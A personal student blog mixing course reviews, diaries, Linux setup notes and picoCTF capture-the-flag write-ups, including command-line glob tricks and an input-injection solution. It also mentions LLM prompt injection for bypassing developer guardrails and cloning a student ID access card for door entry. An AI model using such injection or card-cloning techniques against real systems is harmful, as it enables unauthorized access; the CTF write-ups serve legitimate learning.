Linear Algebra — Xie Bowen

This course is hard! Super hard! The class is basically all about proofs—not just matrix operations and eigenvalue calculations. If time allows, every theorem gets proven in class, so you understand the origins of all this abstract stuff, ~~and learn how to communicate with spirits~~. Taking lecture notes is a must: one reason is you might not have material to study at home since the professor doesn’t follow the textbook (and you won’t want to read it anyway); second reason is they need to be submitted at the end of term. If you fail but have notes submitted… ~~he might treat you to Haidilao~~, no wait, he might fish you out from the depths. Apparently he pulls up people whose scores were 30-40 on average! Don’t be afraid of failing or withdrawing—he might fish you out. Though if you’re concerned about GPA, that’s a different story.

Data Structures — Guo Zhi-en

Super chill! You can get the grade, and if you pay attention you can actually learn something—assuming you have absolutely zero background. If you already know something and want to actually learn, I’d recommend taking Data Structures from the CS department, but if you’re in our department, ask the office about credit transfers. This course has four exams total: two quizzes (20% each), midterm (25%), final (25%)—basically means taking four midterms. But all the exam papers look exactly like past exam questions. Memorize the answers before the test and scoring high is easy.

Want my past exam questions? If you want them, I can give you all of them. Go look for yourself! I put all the past exams there!

Programming — Peng Guan-ju, Tu Jing-ting

One of the chillest courses, plus I already know it, so it’s extra extra chill. First half of the semester is Peng Guan-ju—class is basically watching videos. Attending is the same as watching at home, except, no—going to class and getting interrupted by break time halfway through, watching at home doesn’t have that problem. My suggestion? Don’t bother going. Second half is Tu Jing-ting, who teaches differently from the first half and takes attendance. When I took this course last year, there were assignments and exams, but this time I heard there are no assignments and weekly quizzes instead. Seems like things keep changing year to year, so this intel isn’t very useful.

Operating Systems — Yan Zeng-chang

Teaches from custom handouts with blanks to fill, so you need to pay attention in class (at least fill in the blanks). He’s one of the more conscientious professors in our department. If you pay attention, you’ll understand everything. But after seeing the dinosaur book, I feel his teaching is superficial—a large portion got cut. He only teaches what’s really important. Three exams per semester, all he says are optional. If the two add up to 180 points, you can skip the final. As for last-minute saves when you almost fail? Submit your notes! I’ve heard submitting can add up to 10 points on the final. If you want to preview my notes, I put them in the notes section.

Computer Organization — Li Pei-ru

This is the most闷 class I’ve taken—physically闷, I mean. I don’t know why I always feel闷 during this class. The air is filled with carbon dioxide, making it impossible to think clearly. Plus the professor’s voice makes people fall asleep directly. So if you want to learn, studying on your own is more efficient. I’d recommend the NTHU Open Courseware—the explanations are very clear. But NTHU uses MIPS, while the professor uses RISC-V, so you’d need to relearn the assembly part yourself. Both midterm and final aren’t easy. The hardest part is being a human compiler—averaging 30-40 points. Be prepared if you take this.

Freshman Chinese — Chen Chang-yuan

A great teacher deserves lifelong recommendation! Class feels like chatting, though it’s one-sided—he just talks. But if you listen carefully, you’ll learn a lot, the kind of life wisdom level, and some ancient people’s ways of thinking. His course only has a final report, self-introduction nine-grid, and the school’s required reading reflections. Sometimes they’ll watch Farewell My Concubine. Really recommend this. Also gives high grades.

Even though it might sound bad, as long as you attend group work and presentations, your grade won’t be bad. Quick, select it!!!!

Freshman English — Lin Jian-guang

There’s a quiz every class, 10 questions, usually findable in the textbook. About every two topics you need to submit a video, content varies by topic. This course isn’t relaxing, but you can feel the professor tries to make it not so boring—teaching assistants lead activities and discussions, though these don’t count toward grades. His grading is transparent—only the final report counts. But my grade in this class wasn’t high, not because my English is bad, just because I didn’t buy the textbook. His exam papers almost all come from the textbook, quizzes and exams alike. The reading comprehension on the final gives you the article but won’t provide the text. I think this design sucks because I can’t get points. Want a high grade? Read the textbook thoroughly! As for how I passed without a textbook? I might be able to communicate with spirits—with spirit communication comes answers.

General Education

Beginning Piano Performance

The prerequisite for this course is knowing how to play piano, even just a little (and by “a little” I mean around Kawai Piano Certification Level 13, not just one-finger-ing Twinkle Twinkle Little Star). Because you can’t learn piano just from class time. This course has two people per electronic piano. Midterm is playing for the teacher, and the final is like a showcase—you perform on stage. Those who already know how to play choose their own songs, while those who don’t have a set range. If you want to choose, pick sections 3 or 4, so you don’t have to help carry the piano, and you can stay and practice after class if you want. As for grades? They must be high, otherwise I wouldn’t recommend them, right?

Other Departments

Introduction to Information Security

This course is required for MIS and CS majors. Most of it covers information security defense—attacks only get briefly taught in TA sessions. Not very useful if you want to be a hacker. It’s all theory—if you want hands-on practice, do it at home, since there are 100+ students in that class. All exams are short-answer questions—though everything’s in the slides, memorizing it all is exhausting. Unless you can get past exams from someone, I don’t recommend this course.

Weekly Diary | 25/12/09

Tue, 09 Dec 2025 00:00:00 GMT

Birthday

This week was my 20th anniversary of being alive on Earth.

Starting from some point, I never really liked birthdays, or understood why I should celebrate. So I usually don’t tell anyone when my birthday is. Maybe it’s singing the birthday song that feels awkward — feels weird singing since childhood. Or needing to come up with three wishes every year, wishes that basically never come true, usually don’t even remember what I wished for. Also, having to say the wish out loud feels fake. The easiest for me is the third wish — everyone says if you say it out loud it won’t come true, but actually whether you say it or not, it won’t happen anyway. So the third wish is basically a empty moment — usually thinking about wanting cake. At least this has the highest chance of actually happening, and the response time is short. Now for me, birthday is a day to eat cake and exchange gifts — not bad either.

Guitar Club

This class taught Planets, discovered I still can’t teach guitar. I never learned systematically — ever since I could read tabs, I just played from the tabs. Suddenly being asked to teach from a tab is still very difficult. Last time taught something too simple, thinking teach something harder this time, so it can last longer, won’t end before time’s up. Result — unexpectedly had an accident again, teaching this hard still ended 15 minutes early. Usually at this difficulty, only problem is not finishing in time. Here’s the tab, you’ll see I’m telling the truth — normally can’t finish in two hours.

Tech Research

3D Printing

This week finally remembered to book a print slot. Planning to print a Master Sword, Kirby, Hylia Shield, and Eye of the Truth. The models look like this overall.

![CHITU]( Basically printing everything — since printing is free this semester for course credit. But can only print 2.5 hours, so need to arrange everything to fill the time. The result… only the supports came out, the rest soaked in resin.

Probably too few supports, so didn’t hold the model. Hope next print succeeds.

Rebuilding Computer

To install Nvidia driver, broke the computer. Right after finishing install, computer black screened and won’t turn on. Should’ve just run the repair program, might have恢复正常. Rebooting was a bit impulsive, but a big part is I wanted to try Kubuntu. Found out Mint does a lot of things you don’t know about. Setting up the new computer takes a lot of time — at least the two days that should’ve been for studying were spent on reinstalling and setting up. Reinstall Bad, ~~will reinstall again next time~~.

LLM Prompt Injection Attack

TA introduced an interesting one last week in InfoSec — LLM Prompt Injection Attack. Basically using our user prompt to bypass what the developer set. The developer’s set prompt gets added to the front of the prompt we give. Usually some moral guidelines, making the language model not teach you how to make bombs. Our purpose is very simple — make it teach me what it can’t teach. If trying, definitely don’t use your usual account,小心被ban. But haven’t played with this yet, will research more during winter break.

Winter Camp

Saw this camp in Each’s article the other day, ~~though that article’s main point clearly isn’t promoting this activity~~. But because I have no development experience, want to go play hackathon. Most of the event flow is web-related, perfectly I don’t know any, can go learn on the side. Joint event between Zhong-Dian and Nan-Dian,相信不会差, those going can register together.

picoCTF SansAlpha

Sat, 06 Dec 2025 00:00:00 GMT

今天上班非常無聊，都沒有學生，好像是因為今天很多學校校慶，外加上段考剛考完吧。既然都沒人來問，打了一點CTF，這是今天比較有趣的。

題目

簡單來說，找到 flag，但是只能用數字跟大部分的符號。

解

剛連上測試，文字果然都不能用。但是可以用 ? 跟 * 看到自己在什麼地方。

經過一番隨便測試，發現 flag 的檔案了。但是看不到裡面的內容，所以用 base64 把他印出來。

為什麼不用echo?

$ /???/???? #/bin/bash /bin/echo 都有可能

這樣系統不會知道你要用什麼，結果會變成都不能用，所以用有數字的 base64。

但是/????64 有可能是 base64 或 x86_64。系統又看不懂了。所以我們要設定第四個位數不會是 _ 。改成 /???[!_]64。這樣就只剩下 base64 這個可能，系統就看得懂了。

最後把 base64 解碼就好了。

Useful Software

Fri, 05 Dec 2025 00:00:00 GMT

McBopomofo

Download

There are actually many Chinese input methods on Linux, but this one is the smartest. It remembers what you’re trying to type. If it doesn’t remember, you can manually add to the dictionary.

~/.local/share/fcitx5/mcbopomofo/data.txt

The dictionary is in this file. If I want to add to the dictionary: Pasta should be mixed with concrete

Pasta should be mixed with concrete yi-da-li-mian-jiu-ying-gai-ban-hun-ning-tu

Just add - between each character.

Syncthing

Download

A great tool for syncing files—password vaults, music, McBopomofo dictionary… can also be used for backups. The setup is a bit tricky though, not beginner-friendly. For detailed setup, check the official docs

KeePassXC

Download

Password manager—lets you have a different password for every system, reducing hacking risk. Can also generate passwords, of course those super long complex ones you’d never remember. Since using this, I haven’t memorized a single password. No more cycling through several passwords—security up up up.

RealVNC

Download

Remote desktop—I use this to connect to my Raspberry Pi. The Pi’s default also seems to use this for the server version. It has shared clipboard functionality, very handy.

Tailscale

Download

My VPN—mainly to make Syncthing work properly. Uses internal network penetration to put every device on the same local network, so I can sync data. Of course, you can also use it to play Minecraft.

VS Code

Download

I think this can be downloaded directly with apt, but this time it wouldn’t let me. So I had to find it online. Great tool for coding, can render markdown and mermaid. Want to use LaTeX? Of course you can—install the extension and you’re good. Also has git tools built in, no need to use CLI for uploads.

Signal

Download

My main communication app nowadays. Instagram and LINE are both not great—one shoves ads at you, the other holds you hostage with algorithms. So this is my open-source alternative. No ads currently, stickers are free, clean interface, and you can post stories. When the day comes to escape big tech control, it’s definitely the top choice.

AdNauseam

Download

Super shameless ad blocker—in addition to blocking ads, it clicks on all of them in the background. For details, check Wiwi’s article. It’s a Firefox extension, ~~quickly install it and waste the advertisers’ money.~~

Kubuntu Installation Pitfalls

Fri, 05 Dec 2025 00:00:00 GMT

Preface

A few days ago I suddenly wanted to play Steam games. Elden Ring? Computer specs not enough. The Wuya Sixteen Voices? Still not enough. How about Monster Hunter—original version definitely won’t work, but if Rise can somehow get the dedicated GPU running, there might be hope. Time to install Nvidia drivers! After that, my computer wouldn’t boot anymore, because Nvidia’s drivers have terrible Linux compatibility. Could only enter rescue mode to get my data out, then reinstall. Choosing Kubuntu is just because I like using KDE—I think it looks great.

Bootable USB Drive

First, go to the official website and download the version you want.

Legend has it that to master reinstalling, you need to reinstall as many times as the version number, ~~so don’t pick a big number~~

I picked the latest Kubuntu 25.10. For Linux users, making a bootable USB is a piece of cake. Since I borrowed a Windows computer to make the boot drive, I’ll only explain how to do it on Windows.

In short, download software called Rufus—it’s an open-source bootable USB maker for Windows. Use this to write the ISO file you just downloaded to your prepared boot drive. 16GB should be enough (if you can find one).

Reinstall

Plug the bootable USB in, turn on your computer, and open BIOS. Every brand opens it differently, so usually you hammer del and F2 together. Once inside, go to BOOT, change the boot order so the USB drive is first and the original system is second. If you don’t know which is which, just try them all. Next, you’ll enter the system on the boot drive, and following the prompts basically completes the installation.

Graphics Card Troubleshooting

If you can reboot and smoothly enter the system, congratulations! If you only see something like the image below, then you, like me, got got by the graphics card.

At this point, you need to find a way into Grub first, so you can enter safe mode, then into the system. The moment you see the computer manufacturer’s logo during startup, press del once. If successful, you’ll go straight into Grub. If not, reboot. Once in Grub, press e. There you can modify the boot parameters. On the second-to-last line, you’ll see quiet splash—add nomodeset after it, press F10, and you can enter the system.

Add to Blacklist

After getting in, open the shell

sudo vim /etc/modprobe.d/blacklist-nvidia.conf

Add Nvidia packages to the blacklist to prevent the system from constantly trying to load them and failing, getting stuck outside.

blacklist nvidia
blacklist nvidia-drm
blacklist nvidia-modset
blacklist nouveau

Remove Drivers

sudo apt remove nvidia*
sudo apt autoremove
sudo apt autoclean

Finally restart the system

sudo update-initramfs -u
sudo reboot

After all this, you can enter the system. Kubuntu really is a huge坑.

Weekly Diary | 25/11/21

Fri, 21 Nov 2025 00:00:00 GMT

TL;DR

After the long midterm month, I finally finished this week. But right after finishing, I have to start preparing for the guitar club welcome event, next week there’s also department BBQ. After doing events, it’s basically preparing for finals, ~~might as well start preparing for winter break~~.

Eats

Recently found a really good tofu pudding place near school. The discoverer wasn’t me, I just went to eat.

Mu Tofu Pudding

Really good tofu pudding place, so good we went two days in a row. Though it’s a tofu pudding shop, we all went for the shaved ice. The recent weather isn’t really suitable for ice either.

Guitar Club

Club Class

Self-learner teaching guitar class for the first time, predictably crashed. During club class, discovered basically everyone can’t keep up with the curriculum, whether it’s club instructor class or teaching class. So this time I picked a super simple song —— 《Embrace》Mayday. This song only has four chords from start to finish, except for $D_m7$ , no finger needs to press two strings. The intro is also just T121 — basically a very suitable song for beginners.

Then an accident happened — because this song is too simple. Took about half an hour to teach, including waiting for people and playing the original. But can’t end a two-hour class in half an hour, so I started teaching variations — muted strumming, percussive hitting, taught those, still only fifteen minutes passed. Had them play twice more, then couldn’t think of anything else. So started the Q&A session. But this song is so simple, there won’t be any questions. So everyone just chat until nine, dismiss!

Next club class to teach harder songs, like: Planets and Stars and Star River. Haven’t decided yet, still have some time.

Song Audition

The original purpose of the performance team this time is — let freshmen play, the song list needs to resonate with the audience. So besides teams below passing, all passed, even teams that didn’t get on stage in first and second auditions made obvious progress. Reminded me of going through the same path myself.

This time seeing the performance team decide songs, suddenly know why being on the performance team is hard — basically because ~~the mascot will talk~~, everyone’s skill is similar, feeling bad about eliminating others’ songs. End up eliminating their own songs. Won’t do this job again next time.

Random Talk

Though this time’s song selection really had a lot of problems, feel getting closer with guitar club people¹. After finishing this week, went together for midnight snacks and games. Just that the problems made us want to collectively quit the committee — of course just saying, hope it’s just saying.

Input Method

New Keyboard

Last time mentioned my keyboard was broken, just the one I wanted is discontinued. But… discovered it really should be replaced — not only the L key, period key is also almost done. So had to go to NOVA again. This time only visited B1’s Mitsui. That clerk ran over to chat as soon as he saw me, said it’s his first day, for keyboards he only knows this. He has brand faith, buys ROG himself, if nothing here liked, can buy ROG. ~~But he’s wearing a Logitech name tag~~. Ended up buying what he recommended, except a bit noisy, everything else’s fine.

Just Logi’s app doesn’t support Linux, bad review. If want to use, have to install Windows myself, research when have time.

McBopomofo Input

For Linux Chinese input methods, basically two choices. One is New Chewying, one is McBopomofo. At first thought, keyboard changed, might as well change the zhuyin input. After changing, found it’s quite usable. Has customizable dictionary, commonly used characters can be manually added (while typing this article, dictionary added a few more characters). Don’t need to select when typing that character next time. New Chewying goodbye, using McBopomofo.

Tech Research

RssHub

Open source service online. Main purpose now is using it to subscribe to Instagram. This way I don’t need to log in to know what my friends posted in stories and posts, Instagram’s closed messages now taken out by me. Now I created a new Instagram account called rss.windson to crawl things, also set up a proxy so Instagram doesn’t think I’m a robot, tested password inside container with curl -x, it works. But no matter what, it returns NotFoundError, possible environment variables not set, haven’t found a way to deal with it. After solving, detailed method will become a post.

Copying Student ID

The other day having dinner with Each Chen, discovered Samsung Wallet can copy access cards. So took out Flipper to simulate student ID, copied one. Tested at old men’s dorm back door — the card in phone works, at least the card number was extracted. ~~Of course this is normal way, success.~~ Next, copied the card in phone with flipper again, all sectors opened. Will try at department library to see if really fully unlocked.

Of course, this refers to sophomores ↩

Weekly Diary | 25/11/12

Wed, 12 Nov 2025 00:00:00 GMT

Preface

It’s been almost a month since my last weekly post. Getting pressured by friends to post more and more, so I have to get back to writing. Even though it’s called “Weekly Post,” I can’t write every week. Instead of fixed updates, “write when I want to” fits my rhythm better.

Tutoring Center

Been at the tutoring center for almost three months now. The pay’s good and the work’s light, so I’ll probably keep doing it short-term.

Before Midterms

High school students are all the same — not many questions usually, but right before midterms, they all come surging in. The power of last-minute cramming is real — almost everyone asks questions. ~~We were the same back when we took midterms~~. The past exam papers they give out now have almost identical formatting to what I used to write, except the teacher’s version now has watermarks, the one from Xing-Fu didn’t. Not saying I miss those exam paper days, but seeing them write triggers dead memories in my brain. We used to categorize the exam papers:

Jian-Zhong, Yi-Zhong, Xiong-Zhong, Nan-Yi-Zhong, Wuling, Teacher-Fu-Zhong: Hard problems, can’t think of solutions
Bei-Yi-Nu, Zhong-Nu-Nu: Really ugly numbers, need technique to calculate
Wen-Hua, Xing-Fu: About the same as actual difficulty
other: ~~Warm-up exam papers~~

Maybe I categorized them too clearly in my subconscious — now seeing the girls’ school papers… really don’t want to touch them. Don’t ask me!

These Things Should I Teach or Not

Spending time at the tutoring center, I’ve started thinking: how should I teach them? Some things feel weird to teach, but not teaching also feels wrong.

Geogebra
This is a graphing software — input an equation and see what the graph looks like. Seems like nobody at the tutoring center knows about this. Every time I encounter a problem with a too-complex graph, I hesitate: should I just draw it on the tablet, or teach them to sketch an approximation?
From an exam perspective, of course you can’t use this software. But it’s hard to draw accurately without actually seeing what the graph looks like. Current approach — if I’m too lazy to draw, I use Geogebra. Might formally introduce it to them later.
Photomath
Super calculator. $sin, cos, \Sigma, \int$ , even matrices — basically if you can type it, it can calculate¹, and it shows full steps. I’ve used it in my tutoring, but haven’t introduced it publicly — afraid they’ll become too dependent and stop thinking. Some people learn from the steps, but more people just — copy the answers.

Gold Shield Award

Qualifiers: 30 multiple choice, a lot of reverse problems won’t write. Going in is just happy guessing, and the result is expected — didn’t make it to finals. Walking out of the exam, I knew it would be like this, just haven’t met my advisor yet to tell them. A Reverse a day keeps the zero-days away. Try again during winter break. Recent days, doing reverse AND studying at the same time is really difficult.

Guitar Club

Starting to get busy for Xmas night. This time I’m assigned to stage crew — basically handling the sound board and setting up instruments. Since I have free time, I opened three songs. This time three lead guitar songs, two have solos, hope I can practice enough. Because of the typhoon, missed one rehearsal opportunity — so everyone’s “one rehearsal to decide everything” next week needs to work hard.

Club Class

Next week it’s my turn to teach club class. Teaching people who haven’t learned guitar… honestly a bit nervous. To know how to teach, I’ve been sitting in on previous club classes. After watching, found out — watching doesn’t help, need to actually be up there to know what to do, then adapt. Actually while observing from below, noticed there’s a huge skill gap. Some are experienced, some are halfway, some are touching guitar for the first time. To accommodate everyone, decided to teach Mayday’s Embrace². The whole song only has four chords, easy fingering, not asking for much — hope everyone can make a sound within two hours.

Xmas Night Info

No poster yet

Location: NCHU Small Chapel
Time: 12/02 (Tue) 18:30 - 21:30

Past Exam System

This week Each Chen got the NCHU Applied Math Past Exam System working. I only did the favicon, changed the frontend background, and provided a bunch of past exams. Next, drawing the system’s Social Card. Plain English — that preview image that shows when you share a link. Current idea: stick figures vs math — we’re the stick figures getting beaten all over the place by math. One day when we’ve read enough math, can fight back at the big monster, we graduate. Still haven’t visualized this image yet, will draw it in these few days.

Keyboard

My L key’s getting less responsive lately. Has big impact on me. Ever since I set up Affine, almost all my notes are on it. Without a laptop, basically can’t study. Also, my typing speed got faster, but haven’t had time to test at typing club. Getting back to the topic — my L key is really broken. If pressed too light, no character appears. With normal force, about 70% success rate. Planning to get an external mechanical keyboard, better feel. Saw one I liked at Dunhuang before — Logi Pop Keys.

Actually noticed it when school started. Now I actually need it. So I went to Nova, planning to look around carefully, maybe see other things I like. Nope — walked a whole circle, still didn’t see what I wanted, or too expensive. Ended up going back to school library. The result is

The purple one’s discontinued.

Giving up, keeping the original — only magenta and one yellow-black left, might as well not switch.

RSS

Because I don’t have the habit of watching news, completely missed the typhoon news this time. That day I was just asking a senior for past exam questions:

You have past exams?
：No
We’re doomed
：You can pray for typhoon holiday

What? There’s a typhoon?! I was completely like being offline. Though November shouldn’t really have typhoons, but one came and I had no idea. Because my way of getting info is all through RSS. Of course, I looked for ~~Central Deception Agency³~~ to see if they have RSS. They actually do:
Here.

Each area has its own RSS — alerts, warnings, including typhoons, earthquakes, heavy rain, low temperature, fog, etc., issued or lifted.
No more watching news — it automatically sends weekly weather forecast, today’s weather, rain probability every day. Immediately subscribed to Taichung’s, bye news.

More than enough for high school. Throw a大学生瑕integrals at it, it might just die. ↩
This site has way too many ads, use Brave to open it. ↩
It’s Central Weather Administration, I just renamed it. ↩

Campus Festival Cocktail

Sat, 01 Nov 2025 00:00:00 GMT

Check-in

The organizer notified us to meet the host for script run-through at 2:30 PM. When it was almost time, I went to the club room to get my guitar. At the library, I suddenly saw a familiar figure floating out of the building—it was my vocalist, of course. Without coordinating, we both happened to walk to the elevator entrance at the same time. Our synchronization is really getting ridiculous.

After going upstairs, the whole corridor was packed with people. At the end of the corridor was a small stage—that’s where we’d perform today. They set up speakers in every conference room and connected the music, giving off the vibe of a resident singer. I originally thought we’d perform in the International Conference Hall, but seeing this venue, it felt a bit… basic.

There’s another corridor next to it that you can’t see the end of. The organizers asked us to go find a conference room first and wait. As we waited, all the band members arrived, but the host never showed up. So we went to the convenience store in the Social Sciences building to eat.

For some reason, while eating, everyone started gossiping.

“I always thought you had someone."
"Nope, not a single one.”

Then they started discussing downloading dating apps on my phone, with the reason: “Christmas for sophomores is coming, you have to download it, or there’ll be a curse!”¹

Back at the library, sure enough, my phone was forcibly downloaded with a dating app. What’s even more ridiculous is they checked some weird interest options for me: can dance Latin, likes sitting at the table with kids, that kind of thing… Then they started chatting with girls matched to me using my account.

First Conversation

Hi
: Hi
Do you want to hear a bad joke?
: No

Second Conversation

Hi
: Hi
Do you want to hear a bad joke?
: Sure
Bad jokes can wait, let me play guitar for you first.
(Voice message: “Secretly Love”)

The rest of the development I don’t know about, because I quickly grabbed my phone back and immediately deleted the account + uninstalled the app. Who knows what this closed-source program did to my phone?

After this little interlude, the host still hadn’t appeared. It seems that “script run-through session” vanished into thin air. Finally, we were taken to the organizer’s office, probably because they needed that conference room. The entire corridor was set up with a buffet, the fragrance filling the air, making my stomach start to growl.

We waited and waited, probably wasting three hours. Finally—it was our turn to perform.

Performance

By the time it was our turn, there weren’t many people in the audience. When our turn came, the audience had already shrunk to just our people². But even without an audience, we still had to go on stage—after all, we were getting paid. Though ~~no audience means we can mess around~~, the previous group added May the Gentle You Be Treated Gently by the World and My Fierce Kiss. The vocalist couldn’t resist, passing the microphone to the guitarist to sing. Fortunately, the guitarist was capable. As for me, I played normally, and some people in the audience even sang along. If you like performing, you should be waiting for moments like this.

Legend has it that if you don’t escape single life during sophomore Christmas, you’ll be alone for four years. ↩
Organizers and guitar club ↩

picoCTF vault-door-training

Thu, 30 Oct 2025 00:00:00 GMT

A Reverse a day keeps the zero-days away

Problem

Problem link

It says find flag in source code.

import java.util.*;

class VaultDoorTraining {
    public static void main(String args[]) {
        VaultDoorTraining vaultDoor = new VaultDoorTraining();
        Scanner scanner = new Scanner(System.in); 
        System.out.print("Enter vault password: ");
        String userInput = scanner.next();
	String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
	if (vaultDoor.checkPassword(input)) {
	    System.out.println("Access granted.");
	} else {
	    System.out.println("Access denied!");
	}
   }

    // The password is below. Is it safe to put the password in the source code?
    // What if somebody stole our source code? Then they would know what our
    // password is. Hmm... I will think of some ways to improve the security
    // on the other doors.
    //
    // -Minion #9567
    public boolean checkPassword(String password) {
        return password.equals("w4rm1ng_Up_w1tH_jAv4_3808d338b46");
    }
}

Solution

Well, that last line is suspicious, even telling you that’s the password. Let’s try it.

picoCTF{w4rm1ng_Up_w1tH_jAv4_3808d338b46}

Got it… Though this problem is Easy… but also too easy…

picoCTF Transformation

Wed, 29 Oct 2025 00:00:00 GMT

A Reverse a day keeps the zero-days away

Problem

Problem link

First gives a file, looks like this:

灩捯䍔䙻ㄶ形楴獟楮獴㌴摟潦弸彥㜰㍢㐸㙽

.join([chr((ord(flag[i]) << 8) + ord(flag[i + 1])) for i in range(0, len(flag), 2)])

Obviously encoded wrong, that’s why appears gibberish. Just decode back, and it’s fine. Below is encoding program attached to problem description. It first splits entire flag into pairs, converts both to ASCII, multiplies first by 256 then adds second. Finally chr() becomes what we see.

Solution

Just write a program to reverse — problem uses python, so use python:

q = "灩捯䍔䙻ㄶ形楴獟楮獴㌴摟潦弸彥㜰㍢㐸㙽"
sum = []

# Convert encoding back to ASCII
for i in range(len(q)):
    sum.append(ord(q[i]))

# Brute force (since ASCII max is 126)
for i in range(len(sum)):
    for j in range(126):
        if (sum[i] - (j << 8)) <= 126 and (sum[i] - (j << 8)) >= 0:
            print(chr(j) + chr(sum[i] - (j << 8)) ,end = "")

After solving, get flag: picoCTF{16_bits_inst34d_of_8_e703b486}

picoCTF Flag Hunter

Tue, 28 Oct 2025 00:00:00 GMT

A Reverse a day keeps the zero-days away

Intro

Since Gold Shield Award keeps asking reverse, plus recently took assembly. So starting a one-reverse-per-day movement. A Reverse a day keeps the zero-days away. Current target is finish pico first, then see what’s next after finishing.

Problem

Problem link

This problem gives a python file at the start:

import re
import time


# Read in flag from file
flag = open('flag.txt', 'r').read()

secret_intro = \
'''Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether's ours to conquer, '''\
+ flag + '\n'

From here can know it puts flag in secret_intro. This time’s target is to print it, to get the flag.

reader(song_flag_hunters, '[VERSE1]')

But, from this last line can see, it’s reading from '[VERSE1]'. So it won’t print flag at all.

After reading, let’s connect ~~it will sing to you~~ — actually just prints lyrics.

[REFRAIN]
We're flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We're chasing that victory, and we'll never quit.
CROWD (Singalong here!);
RETURN

[VERSE1]
Command line wizards, we're starting it right,
Spawning shells in the terminal, hacking all night.
Scripts and searches, grep through the void,
Every keystroke, we're a cypher's envoy.
Brute force the lock or craft that regex,
Flag on the horizon, what challenge is next?

REFRAIN;

Echoes in memory, packets in trace,
Digging through the remnants to uncover with haste.
Hex and headers, carving out clues,
Resurrect the hidden, it's forensics we choose.
Disk dumps and packet dumps, follow the trail,
Buried deep in the noise, but we will prevail.

REFRAIN;

Binary sorcerers, let's tear it apart,
Disassemble the code to reveal the dark heart.
From opcode to logic, tracing each line,
Emulate and break it, this key will be mine.
Debugging the maze, and I see through the deceit,
Patch it up right, and watch the lock release.

REFRAIN;

Ciphertext tumbling, breaking the spin,
Feistel or AES, we're destined to win.
Frequency, padding, primes on the run,
Vigenère, RSA, cracking them for fun.
Shift the letters, matrices fall,
Decrypt that flag and hear the ether call.

REFRAIN;

SQL injection, XSS flow,
Map the backend out, let the database show.
Inspecting each cookie, fiddler in the fight,
Capturing requests, push the payload just right.
HTML's secrets, backdoors unlocked,
In the world wide labyrinth, we're never lost.

REFRAIN;

Stack's overflowing, breaking the chain,
ROP gadget wizardry, ride it to fame.
Heap spray in silence, memory's plight,
Race the condition, crash it just right.
Shellcode ready, smashing the frame,
Control the instruction, flags call my name.

REFRAIN;

END;

Analysis

From code below can see, it checks if special words are added to lyrics — if yes execute corresponding function, if no continue printing.

# Print lyrics
line_count = 0
lip = start
while not finished and line_count < MAX_LINES:
  line_count += 1
  for line in song_lines[lip].split(';'):
    if line == '' and song_lines[lip] != '':
      continue
    if line == 'REFRAIN':
      song_lines[refrain_return] = 'RETURN ' + str(lip + 1)
      lip = refrain
    elif re.match(r"CROWD.*", line):
      crowd = input('Crowd: ')  # Here can input
      song_lines[lip] = 'Crowd: ' + crowd
      lip += 1
    elif re.match(r"RETURN [0-9]+", line):
      lip = int(line.split()[1])
    elif line == 'END':
      finished = True
    else:
      print(line, flush=True)
      time.sleep(0.5)
      lip += 1

Can use changing the crowd value to test this guess. For example, I type ;REFRAIN when inputting. Semicolon to end previous text, otherwise whole text treated as normal string.

This test very successful — because typed ;REFRAIN, so every time reaching crowd, it jumps back to REFRAIN to print rest. Can test other ones yourself. Knowing this, can get flag!

Solution

We already know flag hidden at top, and reader doesn’t read from start. So just need to find a way to jump to top. This code seems to let us jump far:

elif re.match(r"RETURN [0-9]+", line):
        lip = int(line.split()[1])

It’s a regex expression. When format matched, can jump wherever we want. Our goal is to make it start printing from top — so jump to 0!

Weekly Diary | 25/10/26

Sun, 26 Oct 2025 00:00:00 GMT

Long time no post, bored so here it is.

After dropping camp, life is pretty chill — but there’s actually still a lot to do. Recently I’m at the start of midterm hell, and I’m really feeling the downside of not taking general education courses: “Every single class has midterms!” For the next three weeks, there’s a test every week. Not asking for much, just need to pass.

Gold Shield Award

Last Saturday went to play the Gold Shield with Each Chen. The senior’s advice was really good. He said it’s basically a divination contest. Looking at the entire exam, the only thing we’re sure we got right was one crypto problem. Everything else was: “This should be it” / “Yeah, seems reasonable.” The whole thing was pure divination, but we weren’t the only ones feeling confident. This time it seems like half the teams got eliminated. Hope we make it to the finals, ~~if we do, there’s Gold Shield shirts~~. Actually, not getting zero收获 after the competition — at least I know they’re big on reverse. I’m going to start doing one reverse problem a day from now on. Want to start when I can start d(`･∀･)b. Here’s a commemorative photo:

Guitar Club

Club Class

First time actually taking a guitar lesson seriously was when I had to teach — porque I never took any guitar lessons before. In two weeks I’ll be teaching. Someone who’s never taken guitar lessons teaching others — these past few weeks I’ve been watching and learning. It’s fun watching around ~~not going to discuss the part about not being able to make sound~~. Watching them struggle with F chord brings back memories of how painful it was when I first started. They still have barre chords to overcome. Anyway, teaching is pretty fun.

Many Performances

Performance next week, two days straight. One song’s chord progression I haven’t memorized yet — after this week’s tests, I’ve got to practice hardcore. First time performing at a big venue, feels like there’ll be a ton of people. At the small chapel I’m not nervous just because you can’t see the audience. Green River’s outdoor venue, you’ll see everything clearly. And the next day there’s Cocktail’s performance, even more people. Also learned a lot of songs for Xmas night recently ~~actually just two~~, both are lead — gotta practice fast.

Raspberry Pi

The Raspberry Pi needs a 5V/5A power supply, but they don’t exist on the market. With unstable power, my HDD keeps getting bad sectors after just a couple spins. So this week I bought the original power supply. Also got an SSD hat and active cooling. Next, I’m going to make the SSD the boot drive and move everything from the microSD over. When going to buy the SSD, I found out it has a lot of specs, but the original is quite short. So far I’ve found it can only fit 2230 and 2242. After exams, I’ll deal with it.

Math Symbols

While writing this, I found out this theme can type math symbols. Since I can, let me solve a differential equation problem. This was last year’s midterm last problem, but it’s not that hard.

Q7

Let $p(t)$ be the mouse population in $t$ months and satisfy the differential equation

\frac{dp}{dt} = 0.5p -450

(a) Find the time t which the population becomes extinct if $p(0) = 800$ .

(b) Find the initial population $p_0$ if the population is to become extinct in 1 year.

sol

(a)

$\frac{dP}{dt} - \frac{1}{2} P = -450 ,\text{take } \mu(t) = e^{-\frac{1}{2}t}$

$e^{-\frac{1}{2}t}P = -450 \int{e^{-\frac{1}{2}t}} dt = 900 e^{-\frac{1}{2}t} + C$

$P(0) = 900 + Ce^{\frac{1}{2}t}$

$P(0) = 900 + C = 800,\quad C = -100$

